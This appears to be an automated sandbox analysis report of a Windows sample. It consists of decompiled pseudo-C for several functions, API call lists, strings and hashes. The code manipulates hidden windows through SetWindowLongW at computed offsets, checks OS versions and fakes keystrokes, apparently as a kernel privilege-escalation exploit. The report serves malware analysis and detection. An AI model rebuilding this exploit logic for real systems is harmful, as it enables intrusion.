										if( *0x95807c == 0 &&  *((intOrPtr*)( *0x958084 +  *0x958064)) >= 0x4000000) {
											 *0x95807c = E0093C820();
										}
									}
									goto L54;
								}
								goto L55;
							}
						}
					}
					_t194 = _v3072;
				}
			}

0x0093d110
0x0093d113
0x0093d115
0x0093d11a
0x0093d125
0x0093d12c
0x0093d131
0x0093d134
0x0093d136
0x0093d13c
0x0093d140
0x0093d146
0x0093d149
0x0093d178
0x0093d17a
0x0093d182
0x0093d71c
0x0093d71e
0x0093d721
0x0093d729
0x0093d72a
0x0093d72b
0x0093d739
0x0093d739
0x0093d18e
0x0093d190
0x0093d198
0x0093d716
0x00000000
0x0093d716
0x0093d1a5
0x0093d266
0x0093d26b
0x0093d1ab
0x0093d1bd
0x0093d1c3
0x0093d1c5
0x0093d1c5
0x0093d1ce
0x00000000
0x00000000
0x0093d1d4
0x0093d1db
0x0093d1e0
0x0093d1e5
0x0093d1e7
0x0093d1e8
0x0093d1ef
0x0093d1f0
0x0093d1fc
0x0093d22c
0x0093d233
0x00000000
0x0093d233
0x0093d1fe
0x0093d203
0x0093d205
0x0093d20a
0x0093d20f
0x0093d21a
0x0093d21c
0x0093d21c
0x0093d223
0x0093d271
0x0093d272
0x0093d27a
0x00000000
0x0093d29a
0x0093d2aa
0x0093d2ae
0x0093d2b2
0x0093d2bc
0x0093d2c7
0x0093d2cd
0x0093d2d7
0x0093d2e6
0x0093d2ec
0x0093d2ef
0x0093d2f7
0x0093d301
0x0093d31b
0x00000000
0x00000000
0x0093d32f
0x0093d337
0x0093d340
0x0093d364
0x0093d36a
0x0093d373
0x00000000
0x00000000
0x0093d375
0x0093d37c
0x00000000
0x00000000
0x00000000
0x0093d37c
0x0093d37e
0x0093d380
0x0093d390
0x0093d390
0x0093d392
0x0093d399
0x0093d3a0
0x0093d3a1
0x0093d3a6
0x0093d3a9
0x0093d3b2
0x0093d3bf
0x0093d3c4
0x0093d3c7
0x0093d3cd
0x0093d3d0
0x0093d3d6
0x0093d3dc
0x0093d3de
0x00000000
0x00000000
0x0093d3e6
0x0093d3e8
0x0093d3f4
0x0093d3f7
0x0093d3fd
0x0093d400
0x0093d402
0x0093d421
0x0093d42d
0x0093d439
0x0093d444
0x0093d44f
0x0093d45a
0x0093d465
0x0093d470
0x0093d475
0x0093d47e
0x0093d486
0x0093d49c
0x0093d4a2
0x0093d4a5
0x0093d4aa
0x0093d4b0
0x0093d4b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0093d4b7
0x0093d40a
0x0093d40a
0x0093d40d
0x00000000
0x00000000
0x0093d413
0x0093d3a1
0x0093d3a6
0x0093d3a9
0x0093d3b2
0x0093d3bf
0x0093d3c4
0x0093d3c7
0x0093d3cd
0x0093d3d0
0x0093d3d6
0x0093d3dc
0x0093d3de
0x00000000
0x00000000
0x0093d3de
0x0093d4c8
0x0093d4c9
0x0093d4cf
0x0093d4d7
0x0093d4d7
0x0093d4e0
0x0093d4e0
0x0093d4f3
0x0093d4fe
0x0093d4fe
0x0093d500
0x0093d501
0x0093d510
0x00000000
0x0093d523
0x0093d52a
0x0093d70e
0x00000000
0x0093d70e
0x0093d540
0x0093d540
0x0093d54b
0x00000000
0x00000000
0x0093d551
0x0093d55b
0x0093d565
0x0093d576
0x0093d6fb
0x0093d6fb
0x0093d708
0x00000000
0x00000000
0x00000000
0x0093d708
0x0093d57c
0x0093d58e
0x0093d593
0x0093d59c
0x0093d59f
0x0093d5a4
0x00000000
0x00000000
0x00000000
0x0093d5a4
0x0093d5a9
0x0093d6e3
0x0093d6eb
0x0093d6f5
0x0093d5af
0x0093d5bf
0x0093d5c6
0x0093d5e4
0x0093d5f0
0x0093d607
0x0093d60d
0x0093d616
0x0093d635
0x0093d63b
0x0093d63c
0x0093d63d
0x0093d644
0x0093d645
0x0093d64b
0x0093d65e
0x0093d668
0x0093d672
0x0093d67c
0x0093d680
0x0093d682
0x0093d68e
0x0093d696
0x0093d6a0
0x0093d6ae
0x0093d6bb
0x0093d6d6
0x0093d6d6
0x0093d6bb
0x00000000
0x0093d5a9
0x00000000
0x0093d540
0x0093d510
0x0093d27a
0x0093d25e
0x0093d25e

APIs

CreateWindowExW.USER32 ref: 0093D172
GetWindowLongW.USER32(00000000,000000F0), ref: 0093D1AE
SetWindowLongW.USER32 ref: 0093D1BD
DestroyWindow.USER32(00000000,00000000), ref: 0093D272
RegisterClassExW.USER32 ref: 0093D312
_memset.LIBCMT ref: 0093D32F
CreateWindowExW.USER32 ref: 0093D364
DestroyWindow.USER32(00000000,00000000), ref: 0093D716

Strings

0, xrefs: 0093D2B2
MyMainWnd, xrefs: 0093D5D4
MyExtraWnd, xrefs: 0093D2F7, 0093D35D
#32768, xrefs: 0093D16B

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$CreateDestroyLong$ClassRegister_memset
String ID: #32768$0$MyExtraWnd$MyMainWnd
API String ID: 2621406899-1346871510
Opcode ID: 7e1cc614903a9725cb7b0a5894dc345f8bc00f0c58ab4b961b6e978a8719cd3f
Instruction ID: d185ee95e3871d2b77ebf67994149e44b99eaaab824566e184b5c4a336f75f8a
Opcode Fuzzy Hash: 7e1cc614903a9725cb7b0a5894dc345f8bc00f0c58ab4b961b6e978a8719cd3f
Instruction Fuzzy Hash: FBF18CB19293149FEB20DF69EC49FAB7BB8FB09315F100265E519A72E0CB749884DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0093CA30 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 193
sleepregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0093CA30(void* __ebx, signed int __edx, intOrPtr _a4) {
				signed int _v8;
				char _v10;
				struct _OSVERSIONINFOW _v292;
				int _v296;
				struct _WNDCLASSEXW _v344;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t57;
				signed int _t58;
				struct HINSTANCE__* _t61;
				int* _t62;
				signed int _t63;
				signed int _t65;
				signed int _t67;
				signed int _t69;
				intOrPtr _t72;
				signed int _t82;
				void* _t83;
				void* _t84;
				void* _t85;
				intOrPtr _t90;
				signed int _t91;
				void* _t92;
				void* _t93;
				void* _t95;
				signed int _t96;

				_t91 = __edx;
				_t83 = __ebx;
				_t37 =  *0x943050; // 0xce43520a
				_v8 = _t37 ^ _t96;
				_t92 = Sleep;
				_v296 = 0;
				Sleep(0xc8);
				_t93 = GetModuleHandleA;
				 *0x9580b8 = GetModuleHandleA(0);
				if(LoadLibraryA("USER32.dll") != 0) {
					 *0x9580b4 = _a4;
					_v292.dwOSVersionInfoSize = 0x11c;
					if(GetVersionExW( &_v292) == 0) {
						L24:
						asm("xorps xmm0, xmm0");
						_v344.hInstance =  *0x9580b8;
						_v344.cbSize = 0x30;
						_v344.style = 0;
						_v344.lpfnWndProc = E0093D960;
						_v344.cbClsExtra = 0;
						_v344.cbWndExtra = 0;
						asm("movdqu [ebp-0x13c], xmm0");
						_v344.lpszClassName = L"MyMainWnd";
						_v344.hIconSm = 0;
						if(RegisterClassExW( &_v344) == 0) {
							goto L1;
						} else {
							_t94 = GetSystemMetrics;
							_push(_t83);
							 *0x944248 = GetSystemMetrics(0);
							 *0x94424c = GetSystemMetrics(1);
							_t84 = CreateThread(0, 0, E0093D110, 0, 0, 0);
							if(_t84 != 0) {
								_t95 = 0;
								if( *0x95807c == 0) {
									while(1) {
										_t57 =  *0x944244; // 0xa
										if( *0x9580bc >= _t57) {
											goto L30;
										}
										_t58 =  *0x944244; // 0xa
										if(_t95 < _t58 + _t58 * 4 + _t58 + _t58 * 4) {
											Sleep(0x64);
											_t95 = _t95 + 1;
											if( *0x95807c == 0) {
												continue;
											}
										}
										goto L30;
									}
								}
								L30:
								TerminateThread(_t84, 0);
								Sleep(0x64);
								_t94 = keybd_event;
								keybd_event(0x1b, 0, 2, 0);
								keybd_event(0x12, 0, 2, 0);
							}
							_pop(_t85);
							return E0093161C(_t85, _v8 ^ _t96, _t91, _t92, _t94);
						}
					} else {
						if(_v292.dwMajorVersion != 5 || _v292.dwMinorVersion < 1) {
							_t61 = GetModuleHandleA("ntdll.dll");
							if(_t61 == 0) {
								goto L19;
							} else {
								_t90 =  *((intOrPtr*)(_t61 + 0x3c));
								_t91 =  *(_t90 + _t61 + 0x40) & 0x0000ffff;
								_t82 =  *(_t90 + _t61 + 0x42) & 0x0000ffff;
								if(_t91 != 6) {
									if(_t91 != 0xa) {
										goto L1;
									} else {
										 *0x9441b0 = 6;
										goto L19;
									}
								} else {
									if(_t82 != 0) {
										if(_t82 != 1) {
											if(_t82 != 2) {
												if(_t82 != 3) {
													goto L1;
												} else {
													 *0x9441b0 = 5;
													goto L19;
												}
											} else {
												 *0x9441b0 = 4;
												goto L19;
											}
										} else {
											 *0x9441b0 = 3;
											goto L19;
										}
									} else {
										 *0x9441b0 = 2;
										goto L19;
									}
								}
							}
						} else {
							 *0x9441b0 = 0;
							if(_v10 != 1) {
								 *0x9441b0 =  *0x9441b0 + 1;
							}
							L19:
							_t62 =  &_v296;
							__imp__IsWow64Process(0xffffffff, _t62);
							if(_t62 == 0 || _v296 == 0) {
								goto L1;
							} else {
								 *0x958058 = 1;
								_t63 =  *0x9441b0; // 0x8
								 *0x9441ec =  *((intOrPtr*)(0x9441d0 + _t63 * 4));
								_t65 =  *0x9441b0; // 0x8
								 *0x958070 =  *((intOrPtr*)(0x9441f0 + _t65 * 4));
								_t67 =  *0x9441b0; // 0x8
								 *0x958074 =  *((intOrPtr*)(0x94420c + _t67 * 4));
								_t69 =  *0x9441b0; // 0x8
								 *0x958078 =  *((intOrPtr*)(0x944228 + _t69 * 4));
								 *0x958060 = E0093CFD0();
								_t72 = E0093CD40();
								 *0x958064 = _t72;
								if( *0x958060 == 0 || _t72 == 0) {
									goto L1;
								} else {
									 *0x958068 = _t72 + 0xfffffff8;
									asm("sbb eax, eax");
									 *0x95805c = ( ~( *0x958058) & 0x00000018) + 0x2a;
									asm("sbb eax, eax");
									 *0x95806c = ( ~( *0x958058) & 0x00000024) + 0x34;
									goto L24;
								}
							}
						}
					}
				} else {
					L1:
					return E0093161C(_t83, _v8 ^ _t96, _t91, _t92, _t93);
				}
			}

0x0093ca30
0x0093ca30
0x0093ca39
0x0093ca40
0x0093ca45
0x0093ca50
0x0093ca5a
0x0093ca5c
0x0093ca6b
0x0093ca78
0x0093ca91
0x0093ca9d
0x0093caaf
0x0093cc21
0x0093cc26
0x0093cc29
0x0093cc36
0x0093cc40
0x0093cc4a
0x0093cc54
0x0093cc5e
0x0093cc68
0x0093cc70
0x0093cc7a
0x0093cc8d
0x00000000
0x0093cc93
0x0093cc93
0x0093cc99
0x0093cca0
0x0093ccb6
0x0093ccc1
0x0093ccc5
0x0093ccc7
0x0093cccf
0x0093ccd1
0x0093ccd1
0x0093ccdc
0x00000000
0x00000000
0x0093ccde
0x0093ccea
0x0093ccee
0x0093ccf0
0x0093ccf8
0x00000000
0x00000000
0x0093ccf8
0x00000000
0x0093ccea
0x0093ccd1
0x0093ccfa
0x0093ccfd
0x0093cd05
0x0093cd07
0x0093cd15
0x0093cd1f
0x0093cd1f
0x0093cd29
0x0093cd36
0x0093cd36
0x0093cab5
0x0093cabc
0x0093cae4
0x0093cae8
0x00000000
0x0093caea
0x0093caea
0x0093caed
0x0093caf2
0x0093cafa
0x0093cb46
0x00000000
0x0093cb4c
0x0093cb4c
0x00000000
0x0093cb4c
0x0093cafc
0x0093cafe
0x0093cb0f
0x0093cb20
0x0093cb31
0x00000000
0x0093cb37
0x0093cb37
0x00000000
0x0093cb37
0x0093cb22
0x0093cb22
0x00000000
0x0093cb22
0x0093cb11
0x0093cb11
0x00000000
0x0093cb11
0x0093cb00
0x0093cb00
0x00000000
0x0093cb00
0x0093cafe
0x0093cafa
0x0093cac7
0x0093cacb
0x0093cad5
0x0093cad7
0x0093cad7
0x0093cb56
0x0093cb56
0x0093cb5f
0x0093cb67
0x00000000
0x0093cb7a
0x0093cb7a
0x0093cb84
0x0093cb90
0x0093cb95
0x0093cba1
0x0093cba6
0x0093cbb2
0x0093cbb7
0x0093cbc3
0x0093cbcd
0x0093cbd2
0x0093cbde
0x0093cbe3
0x00000000
0x0093cbf1
0x0093cbf4
0x0093cc00
0x0093cc08
0x0093cc14
0x0093cc1c
0x00000000
0x0093cc1c
0x0093cbe3
0x0093cb67
0x0093cabc
0x0093ca7b
0x0093ca7b
0x0093ca8b
0x0093ca8b

APIs

Sleep.KERNEL32(000000C8,?,00000000), ref: 0093CA5A
GetModuleHandleA.KERNEL32(00000000,?,00000000), ref: 0093CA64
LoadLibraryA.KERNEL32(USER32.dll,?,00000000), ref: 0093CA70
GetVersionExW.KERNEL32(?,?,00000000), ref: 0093CAA7
IsWow64Process.KERNEL32(000000FF,00000000,?,00000000), ref: 0093CB5F
RegisterClassExW.USER32 ref: 0093CC84
GetSystemMetrics.USER32 ref: 0093CC9C
GetSystemMetrics.USER32 ref: 0093CCA5
CreateThread.KERNEL32 ref: 0093CCBB

Strings

USER32.dll, xrefs: 0093CA66
MyMainWnd, xrefs: 0093CC70
0, xrefs: 0093CC36
ntdll.dll, xrefs: 0093CADF

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: MetricsSystem$ClassCreateHandleLibraryLoadModuleProcessRegisterSleepThreadVersionWow64
String ID: 0$MyMainWnd$USER32.dll$ntdll.dll
API String ID: 3039634143-1536395663
Opcode ID: 4c84c8995d5845fb29ee7a97a589395b2c78357e6f27302f6d29e54da8762bd5
Instruction ID: d39ed115c6c44f30877458e928602c393ed1ec9d83f30085e9be7ace789d118d
Opcode Fuzzy Hash: 4c84c8995d5845fb29ee7a97a589395b2c78357e6f27302f6d29e54da8762bd5
Instruction Fuzzy Hash: 0981ACB4A287489FDB20CF65EC46BAA7BF4E719315F000156E505FB2E0DBB49988EF41

Uniqueness

Uniqueness Score: -1.00%

Function 0093D538 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 139
keyboardthreadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E0093D538() {
				intOrPtr _t5;
				intOrPtr _t16;
				intOrPtr _t18;
				void* _t46;
				void* _t52;
				void* _t53;
				void* _t56;
				struct _SECURITY_ATTRIBUTES* _t57;
				signed int _t60;

				while(1) {
					_t5 =  *0x944244; // 0xa
					if( *0x9580bc >= _t5) {
						break;
					}
					 *0x9580d4 = 0;
					 *0x9580d8 = 0;
					 *0x9580d0 = 0;
					if( *0x95807c != 0) {
						L13:
						 *0x9580bc =  *0x9580bc + 1;
						if( *0x95807c == 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					 *0x9580c0 = CreateThread(0, 0, E0093C970, 0, 0, 0);
					while( *0x9580d0 == 0) {
						_t57 =  &(_t57->nLength);
						Sleep(0x32);
						if(_t57 < 0x14) {
							continue;
						}
						break;
					}
					if(_t57 >= 0x14) {
						DestroyWindow( *0x9580d4);
						DestroyWindow( *0x9580d8);
						TerminateThread( *0x9580c0, 0xffffffff);
					} else {
						_t16 =  *0x94424c; // 0x1388
						_t18 =  *0x944248; // 0x1388
						 *0x9580d8 = CreateWindowExW(0x80000, L"MyMainWnd", 0, 0x10000000, _t18 + 1, _t16 + 1, 1, 1, 0, 0,  *0x9580b8, 0);
						if( *0x9580d8 != 0) {
							asm("adc edi, 0x0");
							asm("adc edi, 0x0");
							asm("adc edi, 0xffffffff");
							SetWindowLongW( *0x9580d8, 0xfffffff0, GetWindowLongW( *0x9580d8, 0xfffffff0) | 0x40000000);
							_push( *0x95808c);
							_push( *0x958088 +  *0x958064 + 3 - 0x28);
							_push(0xfffffff4);
							_push( *0x9580d8);
							_push( *0x9441ec);
							L009310C5();
							keybd_event(0x12, 0, 0, 0);
							keybd_event(0x1b, 0, 0, 0);
							keybd_event(0x1b, 0, 2, 0);
							keybd_event(0x12, 0, 2, 0);
							Sleep(0x64);
						}
						DestroyWindow( *0x9580d4);
						DestroyWindow( *0x9580d8);
						TerminateThread( *0x9580c0, 0xffffffff);
						WaitForSingleObject( *0x9580c0, 0xffffffff);
						if( *0x95807c == 0 &&  *((intOrPtr*)( *0x958084 +  *0x958064)) >= 0x4000000) {
							 *0x95807c = E0093C820();
						}
					}
					goto L13;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t60 - 0x10));
				_pop(_t53);
				_pop(_t56);
				_pop(_t46);
				return E0093161C(_t46,  *(_t60 - 0x1c) ^ _t60, _t52, _t53, _t56);
			}

0x0093d540
0x0093d540
0x0093d54b
0x00000000
0x00000000
0x0093d551
0x0093d55b
0x0093d565
0x0093d576
0x0093d6fb
0x0093d6fb
0x0093d708
0x00000000
0x00000000
0x00000000
0x0093d708
0x0093d57c
0x0093d58e
0x0093d593
0x0093d59c
0x0093d59f
0x0093d5a4
0x00000000
0x00000000
0x00000000
0x0093d5a4
0x0093d5a9
0x0093d6e3
0x0093d6eb
0x0093d6f5
0x0093d5af
0x0093d5bf
0x0093d5c6
0x0093d5e4
0x0093d5f0
0x0093d607
0x0093d60d
0x0093d616
0x0093d635
0x0093d63b
0x0093d63c
0x0093d63d
0x0093d644
0x0093d645
0x0093d64b
0x0093d65e
0x0093d668
0x0093d672
0x0093d67c
0x0093d680
0x0093d682
0x0093d68e
0x0093d696
0x0093d6a0
0x0093d6ae
0x0093d6bb
0x0093d6d6
0x0093d6d6
0x0093d6bb
0x00000000
0x0093d5a9
0x0093d721
0x0093d729
0x0093d72a
0x0093d72b
0x0093d739

APIs

CreateThread.KERNEL32 ref: 0093D588
Sleep.KERNEL32(00000032), ref: 0093D59F
CreateWindowExW.USER32 ref: 0093D5DE
GetWindowLongW.USER32(?,000000F0), ref: 0093D621
SetWindowLongW.USER32 ref: 0093D635
keybd_event.USER32 ref: 0093D65E
keybd_event.USER32 ref: 0093D668
keybd_event.USER32 ref: 0093D672
keybd_event.USER32 ref: 0093D67C
Sleep.KERNEL32(00000064), ref: 0093D680
DestroyWindow.USER32(?), ref: 0093D68E
DestroyWindow.USER32(?), ref: 0093D696
TerminateThread.KERNEL32(?,000000FF), ref: 0093D6A0
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0093D6AE
DestroyWindow.USER32(?), ref: 0093D6E3
DestroyWindow.USER32(?), ref: 0093D6EB
TerminateThread.KERNEL32(?,000000FF), ref: 0093D6F5
DestroyWindow.USER32(00000000,00000000), ref: 0093D716

Strings

MyMainWnd, xrefs: 0093D5D4

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$Destroy$keybd_event$Thread$CreateLongSleepTerminate$ObjectSingleWait
String ID: MyMainWnd
API String ID: 2733185211-188152914
Opcode ID: da864e60af1605bda5e1c0f193f461a3dbcd2b38c61e84462d8bd7c7c91d0860
Instruction ID: c4dc741d3834601bded08d50f1e087ffd5763ad6e68469e7ad5898a51615e9a3
Opcode Fuzzy Hash: da864e60af1605bda5e1c0f193f461a3dbcd2b38c61e84462d8bd7c7c91d0860
Instruction Fuzzy Hash: 03519171669310AFE7209B7AFC4AF973768F705726F100114F625AB2E0CBB46848EF54

Uniqueness

Uniqueness Score: -1.00%

Function 0093C4E0 Relevance: 21.2, APIs: 14, Instructions: 167
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0093C4E0(long _a4, short _a8) {
				signed int _v8;
				short _v1008;
				intOrPtr _v1012;
				signed int _v1016;
				long _v1020;
				intOrPtr _v1024;
				long _v1028;
				intOrPtr _v1032;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t47;
				intOrPtr _t49;
				int _t55;
				int _t57;
				intOrPtr _t58;
				struct HWND__* _t66;
				intOrPtr _t78;
				intOrPtr _t79;
				void* _t99;
				void* _t100;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr _t110;
				intOrPtr _t112;
				intOrPtr _t120;
				signed int _t124;
				signed int _t125;
				long _t128;
				void* _t131;
				intOrPtr _t132;
				signed int _t133;

				_t47 =  *0x943050; // 0xce43520a
				_v8 = _t47 ^ _t133;
				_t49 =  *0x957ff0; // 0x0
				_v1028 =  *((intOrPtr*)( *0x958014 + _t49));
				_v1012 = 0xffffffff;
				_v1024 = 0xffffffff;
				E00935A90( &_v1008, 0, 0x3e8);
				_v1008 = _a8;
				_t55 = lstrlenW( &_v1008);
				if(_t55 != 2) {
					_t101 = _t55 + _t55;
					_v1012 = _t101;
					 *((short*)(_t133 + _t101 - 0x3ec)) = 0x3333;
				}
				_t57 = lstrlenW( &_v1008);
				if(_t57 != 2) {
					_t132 = _t57 + _t57;
					_v1024 = _t132;
					 *((short*)(_t133 + _t132 - 0x3ec)) = 0x3333;
				}
				_t99 = 2;
				_t128 = _a4 + 4;
				_v1016 = 1;
				_v1020 = _t128;
				do {
					_t103 =  *0x958014;
					_t58 =  *0x957ff4; // 0x0
					_v1032 =  *((intOrPtr*)(_t103 + _t58 + 4));
					_t104 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t104 -  *0x95801c, _t128);
					_t66 = GetAncestor( *0x958010, 1);
					_t120 =  *0x957ff4; // 0x0
					_t121 = _t120 -  *0x95801c;
					SetWindowLongW( *0x958004,  *0x958018 + _t120 -  *0x95801c,  *(_t103 + _t58));
					_t124 = _v1016;
					_t99 = _t99 + 2;
					 *(_t133 + _t124 * 4 - 0x3ec) = _t66;
					_t125 = _t124 + 1;
					_t128 = _v1020 + 4;
					_v1016 = _t125;
					_v1020 = _t128;
				} while (lstrlenW( &_v1008) >= _t99 && _t99 < 0x1f4);
				if(_t125 != 0xfa) {
					_t110 =  *0x957ff0; // 0x0
					_t100 = SetWindowLongW;
					SetWindowLongW( *0x958004,  *0x958018 + _t110 -  *0x95801c, _a4);
					_t131 = SetWindowTextW;
					SetWindowTextW( *0x958010,  &_v1008);
					_t78 = _v1024;
					if(_t78 != 0xffffffff) {
						 *((short*)(_t133 + _t78 - 0x3ec)) = 0;
						SetWindowTextW( *0x958010,  &_v1008);
					}
					_t79 = _v1012;
					if(_t79 != 0xffffffff) {
						 *((short*)(_t133 + _t79 - 0x3ec)) = 0;
						SetWindowTextW( *0x958010,  &_v1008);
					}
					_t112 =  *0x957ff0; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t112 -  *0x95801c, _v1028);
					ShowWindow( *0x958010, 5);
					UpdateWindow( *0x958010);
					return E0093161C(_t100, _v8 ^ _t133, _t121, _t125, _t131);
				} else {
					return E0093161C(_t99, _v8 ^ _t133, _t121, _t125, _t128);
				}
			}

0x0093c4e9
0x0093c4f0
0x0093c4f9
0x0093c509
0x0093c518
0x0093c522
0x0093c52c
0x0093c53d
0x0093c54a
0x0093c554
0x0093c556
0x0093c559
0x0093c55f
0x0093c55f
0x0093c56e
0x0093c573
0x0093c575
0x0093c578
0x0093c57e
0x0093c57e
0x0093c589
0x0093c58e
0x0093c591
0x0093c59b
0x0093c5a1
0x0093c5a1
0x0093c5a7
0x0093c5b4
0x0093c5bf
0x0093c5d5
0x0093c5e3
0x0093c5f1
0x0093c5f7
0x0093c60a
0x0093c610
0x0093c61d
0x0093c620
0x0093c627
0x0093c62e
0x0093c631
0x0093c637
0x0093c643
0x0093c659
0x0093c673
0x0093c67c
0x0093c692
0x0093c694
0x0093c6a7
0x0093c6a9
0x0093c6b2
0x0093c6b6
0x0093c6cb
0x0093c6cb
0x0093c6cd
0x0093c6d6
0x0093c6da
0x0093c6ef
0x0093c6ef
0x0093c6f6
0x0093c712
0x0093c71c
0x0093c728
0x0093c743
0x0093c65d
0x0093c66d
0x0093c66d

APIs

_memset.LIBCMT ref: 0093C52C
lstrlenW.KERNEL32(?,73AFB5A0,00000000,00000000), ref: 0093C54A
lstrlenW.KERNEL32(?), ref: 0093C56E
SetWindowLongW.USER32 ref: 0093C5D5
GetAncestor.USER32(?,00000001), ref: 0093C5E3
SetWindowLongW.USER32 ref: 0093C60A
lstrlenW.KERNEL32(?), ref: 0093C63D
SetWindowLongW.USER32 ref: 0093C692
SetWindowTextW.USER32(?,?), ref: 0093C6A7
SetWindowTextW.USER32(?,?), ref: 0093C6CB
SetWindowTextW.USER32(?,?), ref: 0093C6EF
SetWindowLongW.USER32 ref: 0093C712
ShowWindow.USER32(?,00000005), ref: 0093C71C
UpdateWindow.USER32(?), ref: 0093C728

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$Long$Textlstrlen$AncestorShowUpdate_memset
String ID:
API String ID: 2624496401-0
Opcode ID: 3a57ebf7b0b7aecb2d71c08bea786358fcd2e136b3b27943c558d115f5c611f7
Instruction ID: 3deff9c1181c6a79851d693aede049e8657d92f3e2eab585c98a8a17a6c47e0b
Opcode Fuzzy Hash: 3a57ebf7b0b7aecb2d71c08bea786358fcd2e136b3b27943c558d115f5c611f7
Instruction Fuzzy Hash: C2617571A242199FCB25CFA9DC85AAE73FCFB49311F0445A9E519E33D0CA30AE45AF50

Uniqueness

Uniqueness Score: -1.00%

Function 0093B6E0 Relevance: 19.7, APIs: 13, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0093B6E0() {
				long _v8;
				intOrPtr _v16;
				intOrPtr _t28;
				struct HWND__* _t36;
				intOrPtr _t42;
				intOrPtr _t43;
				struct HWND__* _t51;
				intOrPtr _t57;
				struct HWND__* _t65;
				intOrPtr _t71;
				intOrPtr _t72;
				struct HWND__* _t80;
				long _t94;
				intOrPtr _t95;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t129;
				intOrPtr _t135;
				intOrPtr _t140;
				intOrPtr _t148;

				E0093BEE0(E0093BEE0( *0x958020 +  *0x957ff8));
				_t148 = E0093BEE0(_t25);
				do {
					if( *0x95802c != 0) {
						_t94 =  *0x95802c;
					} else {
						_t94 = GetCurrentProcessId();
					}
					_t98 =  *0x958014;
					_t28 =  *0x957ff4; // 0x0
